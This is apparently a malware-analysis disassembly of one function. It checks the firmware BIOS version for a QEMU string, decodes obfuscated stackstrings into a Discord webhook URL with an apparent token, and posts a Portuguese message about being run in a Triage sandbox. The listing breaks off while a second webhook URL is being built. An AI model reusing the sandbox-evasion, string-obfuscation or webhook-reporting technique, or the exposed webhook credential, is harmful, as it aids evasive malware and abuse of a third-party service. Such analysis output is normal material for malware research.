Function at 0x4614f0
Capabilities:
Contain obfuscated stackstrings
Create thread
Encode data using xor
Execute command
Get uefi variable
Parse pe header
Set console window title

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x476bd8
mov eax, dword fs:[0]
push eax
push ebx
mov eax, 0x3bf8
call fcn.00474050
mov eax, dword [0x49400c]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push pe_nt_image_headers32
lea eax, [ebp - 0x118]
push eax
push str.8BE4DF61_93CA_11D2_AA0D_00E098032B8C
push str.SystemBiosVersion
call dword [sym.imp.KERNEL32.dll_GetFirmwareEnvironmentVariableA]
push dword [ebp - 0x2b68]
lea ecx, [ebp - 0x130]
call fcn.00468c40
push 0x27
push str.rel_1.14.0_0_g155821a_prebuilt.qemu.org
lea ecx, [ebp - 0x130]
mov dword [ebp - 4], 0
call fcn.00468c60
lea eax, [ebp - 0x118]
mov dword [ebp - 4], 1
push eax
lea ecx, [ebp - 0x3290]
call fcn.004666f0
lea ecx, [ebp - 0x130]
push ecx
mov ecx, eax
call fcn.00469d20
lea ecx, [ebp - 0x3290]
mov byte [ebp - 0x2b61], al
call fcn.004665d0
cmp byte [ebp - 0x2b61], 0
mov dword [ebp - 0x2e10], 0
mov dword [ebp - 0x2e0c], 0
push 0x4797c6
je 0x46247b
lea ecx, [ebp - 0x3170]
call fcn.004666f0
push 1
push 0xc
sub esp, 0xc
mov byte [ebp - 4], 2
movq xmm0, qword [ebp - 0x2e10]
lea ecx, [ebp - 0x2b50]
mov eax, esp
push 1
push 1
push 0
movq qword [eax], xmm0
push 0
mov dword [eax + 8], 0
lea eax, [ebp - 0x3170]
push 0x317efd
push eax
call dword [sym.imp.dpp.dll_public:_void___thiscall_dpp::cluster::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___unsigned_int__unsigned_int__unsigned_int__unsigned_int__bool__struct_dpp::cache_policy_t__unsigned_int__unsigned_int_]
lea ecx, [ebp - 0x3170]
mov byte [ebp - 4], 4
call fcn.004665d0
sub esp, 0x28
push esp
call dword [sym.imp.dpp.dll_class_std::function_void____cdecl___struct_dpp::log_t_const______cdecl_dpp::utility::cout_logger_void_]
add esp, 4
lea ecx, [ebp - 0x2920]
call fcn.00465a10
push 0x68
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d70], 0x1a
call fcn.00464cf0
push 0x74
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d6f], al
call fcn.00464cf0
push 0x74
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d6e], al
call fcn.00464cf0
push 0x70
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d6d], al
call fcn.00464cf0
push 0x73
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d6c], al
call fcn.00464cf0
push 0x3a
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d6b], al
call fcn.00464cf0
push 0x2f
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d6a], al
call fcn.00464cf0
push 0x2f
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d69], al
call fcn.00464cf0
push 0x64
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d68], al
call fcn.00464cf0
push 0x69
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d67], al
call fcn.00464cf0
push 0x73
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d66], al
call fcn.00464cf0
push 0x63
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d65], al
call fcn.00464cf0
mov byte [ebp - 0x2d64], al
push 0x6f
lea ecx, [ebp - 0x2d70]
call fcn.00464cf0
push 0x72
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d63], al
call fcn.00464cf0
push 0x64
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d62], al
call fcn.00464cf0
push 0x2e
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d61], al
call fcn.00464cf0
push 0x63
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d60], al
call fcn.00464cf0
push 0x6f
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d5f], al
call fcn.00464cf0
push 0x6d
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d5e], al
call fcn.00464cf0
push 0x2f
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d5d], al
call fcn.00464cf0
push 0x61
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d5c], al
call fcn.00464cf0
push 0x70
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d5b], al
call fcn.00464cf0
push 0x69
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d5a], al
call fcn.00464cf0
push 0x2f
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d59], al
call fcn.00464cf0
push 0x77
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d58], al
call fcn.00464cf0
push 0x65
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d57], al
call fcn.00464cf0
push 0x62
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d56], al
call fcn.00464cf0
push 0x68
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d55], al
call fcn.00464cf0
push 0x6f
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d54], al
call fcn.00464cf0
push 0x6f
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d53], al
call fcn.00464cf0
push 0x6b
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d52], al
call fcn.00464cf0
push 0x73
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d51], al
call fcn.00464cf0
mov byte [ebp - 0x2d50], al
lea ecx, [ebp - 0x2d70]
push 0x2f
call fcn.00464cf0
push 0x31
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d4f], al
call fcn.00464cf0
push 0x31
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d4e], al
call fcn.00464cf0
push 0x31
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d4d], al
call fcn.00464cf0
push 0x35
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d4c], al
call fcn.00464cf0
push 0x36
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d4b], al
call fcn.00464cf0
push 0x34
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d4a], al
call fcn.00464cf0
push 0x33
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d49], al
call fcn.00464cf0
push 0x34
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d48], al
call fcn.00464cf0
push 0x35
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d47], al
call fcn.00464cf0
push 0x34
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d46], al
call fcn.00464cf0
push 0x36
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d45], al
call fcn.00464cf0
push 0x37
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d44], al
call fcn.00464cf0
push 0x32
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d43], al
call fcn.00464cf0
push 0x38
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d42], al
call fcn.00464cf0
push 0x37
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d41], al
call fcn.00464cf0
push 0x39
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d40], al
call fcn.00464cf0
push 0x36
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d3f], al
call fcn.00464cf0
push 0x38
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d3e], al
call fcn.00464cf0
push 0x36
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d3d], al
call fcn.00464cf0
push 0x2f
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d3c], al
call fcn.00464cf0
push 0x34
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d3b], al
call fcn.00464cf0
push 0x36
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d3a], al
call fcn.00464cf0
push 0x6b
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d39], al
call fcn.00464cf0
push 0x54
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d38], al
call fcn.00464cf0
push 0x4f
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d37], al
call fcn.00464cf0
push 0x6b
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d36], al
call fcn.00464cf0
push 0x31
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d35], al
call fcn.00464cf0
push 0x6d
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d34], al
call fcn.00464cf0
push 0x49
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d33], al
call fcn.00464cf0
push 0x53
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d32], al
call fcn.00464cf0
push 0x72
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d31], al
call fcn.00464cf0
push 0x75
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d30], al
call fcn.00464cf0
push 0x49
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d2f], al
call fcn.00464cf0
push 0x6b
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d2e], al
call fcn.00464cf0
push 0x53
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d2d], al
call fcn.00464cf0
push 0x68
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d2c], al
call fcn.00464cf0
push 0x37
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d2b], al
call fcn.00464cf0
push 0x62
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d2a], al
call fcn.00464cf0
push 0x34
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d29], al
call fcn.00464cf0
push 0x56
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d28], al
call fcn.00464cf0
mov byte [ebp - 0x2d27], al
push 0x39
lea ecx, [ebp - 0x2d70]
call fcn.00464cf0
push 0x47
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d26], al
call fcn.00464cf0
push 0x52
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d25], al
call fcn.00464cf0
push 0x42
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d24], al
call fcn.00464cf0
push 0x41
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d23], al
call fcn.00464cf0
push 0x30
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d22], al
call fcn.00464cf0
push 0x74
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d21], al
call fcn.00464cf0
push 0x58
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d20], al
call fcn.00464cf0
push 0x72
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d1f], al
call fcn.00464cf0
push 0x36
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d1e], al
call fcn.00464cf0
push 0x53
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d1d], al
call fcn.00464cf0
push 0x77
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d1c], al
call fcn.00464cf0
push 0x54
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d1b], al
call fcn.00464cf0
push 0x5f
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d1a], al
call fcn.00464cf0
push 0x4f
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d19], al
call fcn.00464cf0
push 0x4f
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d18], al
call fcn.00464cf0
push 0x45
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d17], al
call fcn.00464cf0
push 0x4d
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d16], al
call fcn.00464cf0
push 0x37
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d15], al
call fcn.00464cf0
push 0x30
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d14], al
call fcn.00464cf0
mov byte [ebp - 0x2d13], al
push 0x4d
lea ecx, [ebp - 0x2d70]
call fcn.00464cf0
push 0x36
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d12], al
call fcn.00464cf0
push 0x65
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d11], al
call fcn.00464cf0
push 0x69
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d10], al
call fcn.00464cf0
push 0x38
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d0f], al
call fcn.00464cf0
push 0x50
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d0e], al
call fcn.00464cf0
push 0x6d
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d0d], al
call fcn.00464cf0
push 0x77
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d0c], al
call fcn.00464cf0
push 0x4c
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d0b], al
call fcn.00464cf0
push 0x47
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d0a], al
call fcn.00464cf0
push 0x79
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d09], al
call fcn.00464cf0
push 0x45
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d08], al
call fcn.00464cf0
push 0x5f
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d07], al
call fcn.00464cf0
push 0x6e
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d06], al
call fcn.00464cf0
push 0x75
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d05], al
call fcn.00464cf0
push 0x7a
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d04], al
call fcn.00464cf0
push 0x58
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d03], al
call fcn.00464cf0
push 0x46
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d02], al
call fcn.00464cf0
push 0x4f
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d01], al
call fcn.00464cf0
push 0x50
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2d00], al
call fcn.00464cf0
mov byte [ebp - 0x2cff], al
lea ecx, [ebp - 0x2d70]
push 0x67
call fcn.00464cf0
push 0x53
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2cfe], al
call fcn.00464cf0
push 0x39
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2cfd], al
call fcn.00464cf0
push 0x64
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2cfc], al
call fcn.00464cf0
push 0x59
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2cfb], al
call fcn.00464cf0
push 0x77
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2cfa], al
call fcn.00464cf0
push 0x31
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2cf9], al
call fcn.00464cf0
push 0x50
lea ecx, [ebp - 0x2d70]
mov byte [ebp - 0x2cf8], al
call fcn.00464cf0
mov byte [ebp - 0x2cf7], al
xor esi, esi
mov byte [ebp - 0x2cf6], 0
nop word [eax + eax]
push esi
lea ecx, [ebp - 0x2d6f]
call fcn.00464d10
lea ecx, [ebp - 0x2d70]
movzx eax, byte [eax]
push eax
call fcn.00464cf0
push esi
lea ecx, [ebp - 0x2d6f]
mov byte [ebp - 0x2b61], al
call fcn.00464d10
mov cl, byte [ebp - 0x2b61]
inc esi
mov byte [eax], cl
cmp esi, 0x79
jb 0x461f60
push 0x79
lea ecx, [ebp - 0x2d6f]
call fcn.00464d10
lea ecx, [ebp - 0x2d6f]
mov byte [eax], 0
call fcn.00464d00
push eax
lea ecx, [ebp - 0x3158]
call fcn.004666f0
lea eax, [ebp - 0x3158]
mov byte [ebp - 4], 5
push eax
lea ecx, [ebp - 0x270]
call dword [sym.imp.dpp.dll_public:_void___thiscall_dpp::webhook::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
lea ecx, [ebp - 0x3158]
mov byte [ebp - 4], 7
call fcn.004665d0
push 0x4797c6
lea ecx, [ebp - 0x3188]
call fcn.004666f0
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x2bec]
xorps xmm0, xmm0
mov byte [ebp - 0x2bec], 0x45
push 0x46
movlpd qword [ebp - 0x2e88], xmm0
call fcn.00464cf0
push 0x4f
lea ecx, [ebp - 0x2bec]
mov byte [ebp - 0x2beb], al
call fcn.00464cf0
push 0x49
lea ecx, [ebp - 0x2bec]
mov byte [ebp - 0x2bea], al
call fcn.00464cf0
push 0x20
lea ecx, [ebp - 0x2bec]
mov byte [ebp - 0x2be9], al
call fcn.00464cf0
push 0x45
lea ecx, [ebp - 0x2bec]
mov byte [ebp - 0x2be8], al
call fcn.00464cf0
push 0x58
lea ecx, [ebp - 0x2bec]
mov byte [ebp - 0x2be7], al
call fcn.00464cf0
push 0x45
lea ecx, [ebp - 0x2bec]
mov byte [ebp - 0x2be6], al
call fcn.00464cf0
push 0x43
lea ecx, [ebp - 0x2bec]
mov byte [ebp - 0x2be5], al
call fcn.00464cf0
push 0x55
lea ecx, [ebp - 0x2bec]
mov byte [ebp - 0x2be4], al
call fcn.00464cf0
push 0x54
lea ecx, [ebp - 0x2bec]
mov byte [ebp - 0x2be3], al
call fcn.00464cf0
push 0x41
lea ecx, [ebp - 0x2bec]
mov byte [ebp - 0x2be2], al
call fcn.00464cf0
push 0x44
lea ecx, [ebp - 0x2bec]
mov byte [ebp - 0x2be1], al
call fcn.00464cf0
push 0x4f
lea ecx, [ebp - 0x2bec]
mov byte [ebp - 0x2be0], al
call fcn.00464cf0
mov byte [ebp - 0x2bdf], al
push 0x20
lea ecx, [ebp - 0x2bec]
call fcn.00464cf0
push 0x4e
lea ecx, [ebp - 0x2bec]
mov byte [ebp - 0x2bde], al
call fcn.00464cf0
push 0x4f
lea ecx, [ebp - 0x2bec]
mov byte [ebp - 0x2bdd], al
call fcn.00464cf0
push 0x20
lea ecx, [ebp - 0x2bec]
mov byte [ebp - 0x2bdc], al
call fcn.00464cf0
push 0x53
lea ecx, [ebp - 0x2bec]
mov byte [ebp - 0x2bdb], al
call fcn.00464cf0
push 0x49
lea ecx, [ebp - 0x2bec]
mov byte [ebp - 0x2bda], al
call fcn.00464cf0
push 0x54
lea ecx, [ebp - 0x2bec]
mov byte [ebp - 0x2bd9], al
call fcn.00464cf0
push 0x45
lea ecx, [ebp - 0x2bec]
mov byte [ebp - 0x2bd8], al
call fcn.00464cf0
push 0x20
lea ecx, [ebp - 0x2bec]
mov byte [ebp - 0x2bd7], al
call fcn.00464cf0
push 0x44
lea ecx, [ebp - 0x2bec]
mov byte [ebp - 0x2bd6], al
call fcn.00464cf0
push 0x45
lea ecx, [ebp - 0x2bec]
mov byte [ebp - 0x2bd5], al
call fcn.00464cf0
push 0x20
lea ecx, [ebp - 0x2bec]
mov byte [ebp - 0x2bd4], al
call fcn.00464cf0
push 0x53
lea ecx, [ebp - 0x2bec]
mov byte [ebp - 0x2bd3], al
call fcn.00464cf0
push 0x41
lea ecx, [ebp - 0x2bec]
mov byte [ebp - 0x2bd2], al
call fcn.00464cf0
push 0x4e
lea ecx, [ebp - 0x2bec]
mov byte [ebp - 0x2bd1], al
call fcn.00464cf0
push 0x44
lea ecx, [ebp - 0x2bec]
mov byte [ebp - 0x2bd0], al
call fcn.00464cf0
push 0x42
lea ecx, [ebp - 0x2bec]
mov byte [ebp - 0x2bcf], al
call fcn.00464cf0
push 0x4f
lea ecx, [ebp - 0x2bec]
mov byte [ebp - 0x2bce], al
call fcn.00464cf0
push 0x58
lea ecx, [ebp - 0x2bec]
mov byte [ebp - 0x2bcd], al
call fcn.00464cf0
push 0x20
lea ecx, [ebp - 0x2bec]
mov byte [ebp - 0x2bcc], al
call fcn.00464cf0
mov byte [ebp - 0x2bcb], al
lea ecx, [ebp - 0x2bec]
push 0x54
call fcn.00464cf0
push 0x52
lea ecx, [ebp - 0x2bec]
mov byte [ebp - 0x2bca], al
call fcn.00464cf0
push 0x49
lea ecx, [ebp - 0x2bec]
mov byte [ebp - 0x2bc9], al
call fcn.00464cf0
push 0x41
lea ecx, [ebp - 0x2bec]
mov byte [ebp - 0x2bc8], al
call fcn.00464cf0
push 0x47
lea ecx, [ebp - 0x2bec]
mov byte [ebp - 0x2bc7], al
call fcn.00464cf0
push 0x45
lea ecx, [ebp - 0x2bec]
mov byte [ebp - 0x2bc6], al
call fcn.00464cf0
push 0x20
lea ecx, [ebp - 0x2bec]
mov byte [ebp - 0x2bc5], al
call fcn.00464cf0
push 0x46
lea ecx, [ebp - 0x2bec]
mov byte [ebp - 0x2bc4], al
call fcn.00464cf0
push 0x55
lea ecx, [ebp - 0x2bec]
mov byte [ebp - 0x2bc3], al
call fcn.00464cf0
push 0x54
lea ecx, [ebp - 0x2bec]
mov byte [ebp - 0x2bc2], al
call fcn.00464cf0
push 0x55
lea ecx, [ebp - 0x2bec]
mov byte [ebp - 0x2bc1], al
call fcn.00464cf0
push 0x52
lea ecx, [ebp - 0x2bec]
mov byte [ebp - 0x2bc0], al
call fcn.00464cf0
push 0x45
lea ecx, [ebp - 0x2bec]
mov byte [ebp - 0x2bbf], al
call fcn.00464cf0
mov byte [ebp - 0x2bbe], al
xor esi, esi
mov byte [ebp - 0x2bbd], 0
push esi
lea ecx, [ebp - 0x2beb]
call fcn.00464d10
lea ecx, [ebp - 0x2bec]
movzx eax, byte [eax]
push eax
call fcn.00464cf0
push esi
lea ecx, [ebp - 0x2beb]
mov byte [ebp - 0x2b61], al
call fcn.00464d10
mov cl, byte [ebp - 0x2b61]
inc esi
mov byte [eax], cl
cmp esi, 0x2e
jb 0x462381
push 0x2e
lea ecx, [ebp - 0x2beb]
call fcn.00464d10
lea ecx, [ebp - 0x2beb]
mov byte [eax], 0
call fcn.00464d00
push eax
lea ecx, [ebp - 0x3140]
call fcn.004666f0
push 0
lea eax, [ebp - 0x3140]
mov byte [ebp - 4], 9
push eax
lea ecx, [ebp - 0x3500]
call dword [sym.imp.dpp.dll_public:_void___thiscall_dpp::message::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___enum_dpp::message_type_]
mov esi, eax
lea eax, [ebp - 0x3188]
mov byte [ebp - 4], 0xa
push eax
sub esp, 8
lea eax, [ebp - 0x2e88]
mov ecx, esp
push eax
call dword [sym.imp.dpp.dll_public:_void___thiscall_dpp::snowflake::constructor_unsigned_long_long_unsigned___int64__const__]
push 0
push esi
lea eax, [ebp - 0x270]
push eax
lea eax, [ebp - 0x3c08]
push eax
lea ecx, [ebp - 0x2b50]
call dword [sym.imp.dpp.dll_public:_struct_dpp::message___thiscall_dpp::cluster::execute_webhook_sync_class_dpp::webhook_const___struct_dpp::message_const___bool__class_dpp::snowflake__class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
mov esi, dword [sym.imp.dpp.dll_public_virtual:_void___thiscall_dpp::message::destructor_void_]
lea ecx, [ebp - 0x3c08]
call esi
lea ecx, [ebp - 0x3500]
call esi
lea ecx, [ebp - 0x3140]
call fcn.004665d0
lea ecx, [ebp - 0x3188]
call fcn.004665d0
lea ecx, [ebp - 0x270]
call dword [sym.imp.dpp.dll_public_virtual:_void___thiscall_dpp::webhook::destructor_void_]
lea ecx, [ebp - 0x2b50]
jmp 0x463075
lea ecx, [ebp - 0x3128]
call fcn.004666f0
push 1
push 0xc
sub esp, 0xc
mov byte [ebp - 4], 0xb
movq xmm0, qword [ebp - 0x2e10]
lea ecx, [ebp - 0x16e0]
mov eax, esp
push 1
push 1
push 0
movq qword [eax], xmm0
push 0
mov dword [eax + 8], 0
lea eax, [ebp - 0x3128]
push 0x317efd
push eax
call dword [sym.imp.dpp.dll_public:_void___thiscall_dpp::cluster::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___unsigned_int__unsigned_int__unsigned_int__unsigned_int__bool__struct_dpp::cache_policy_t__unsigned_int__unsigned_int_]
lea ecx, [ebp - 0x3128]
mov byte [ebp - 4], 0xd
call fcn.004665d0
sub esp, 0x28
push esp
call dword [sym.imp.dpp.dll_class_std::function_void____cdecl___struct_dpp::log_t_const______cdecl_dpp::utility::cout_logger_void_]
add esp, 4
lea ecx, [ebp - 0x14b0]
call fcn.00465a10
push 0x68
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2cf0], 0xc
call fcn.00464cf0
push 0x74
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2cef], al
call fcn.00464cf0
push 0x74
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2cee], al
call fcn.00464cf0
push 0x70
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2ced], al
call fcn.00464cf0
push 0x73
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2cec], al
call fcn.00464cf0
push 0x3a
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2ceb], al
call fcn.00464cf0
push 0x2f
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2cea], al
call fcn.00464cf0
push 0x2f
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2ce9], al
call fcn.00464cf0
push 0x64
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2ce8], al
call fcn.00464cf0
push 0x69
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2ce7], al
call fcn.00464cf0
push 0x73
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2ce6], al
call fcn.00464cf0
push 0x63
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2ce5], al
call fcn.00464cf0
mov byte [ebp - 0x2ce4], al
push 0x6f
lea ecx, [ebp - 0x2cf0]
call fcn.00464cf0
push 0x72
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2ce3], al
call fcn.00464cf0
push 0x64
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2ce2], al
call fcn.00464cf0
push 0x2e
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2ce1], al
call fcn.00464cf0
push 0x63
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2ce0], al
call fcn.00464cf0
push 0x6f
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2cdf], al
call fcn.00464cf0
push 0x6d
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2cde], al
call fcn.00464cf0
push 0x2f
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2cdd], al
call fcn.00464cf0
push 0x61
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2cdc], al
call fcn.00464cf0
push 0x70
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2cdb], al
call fcn.00464cf0
push 0x69
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2cda], al
call fcn.00464cf0
push 0x2f
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2cd9], al
call fcn.00464cf0
push 0x77
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2cd8], al
call fcn.00464cf0
push 0x65
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2cd7], al
call fcn.00464cf0
push 0x62
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2cd6], al
call fcn.00464cf0
push 0x68
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2cd5], al
call fcn.00464cf0
push 0x6f
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2cd4], al
call fcn.00464cf0
push 0x6f
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2cd3], al
call fcn.00464cf0
push 0x6b
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2cd2], al
call fcn.00464cf0
push 0x73
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2cd1], al
call fcn.00464cf0
mov byte [ebp - 0x2cd0], al
lea ecx, [ebp - 0x2cf0]
push 0x2f
call fcn.00464cf0
push 0x31
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2ccf], al
call fcn.00464cf0
push 0x31
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2cce], al
call fcn.00464cf0
push 0x31
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2ccd], al
call fcn.00464cf0
push 0x35
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2ccc], al
call fcn.00464cf0
push 0x36
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2ccb], al
call fcn.00464cf0
push 0x34
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2cca], al
call fcn.00464cf0
push 0x33
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2cc9], al
call fcn.00464cf0
push 0x34
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2cc8], al
call fcn.00464cf0
push 0x35
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2cc7], al
call fcn.00464cf0
push 0x34
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2cc6], al
call fcn.00464cf0
push 0x36
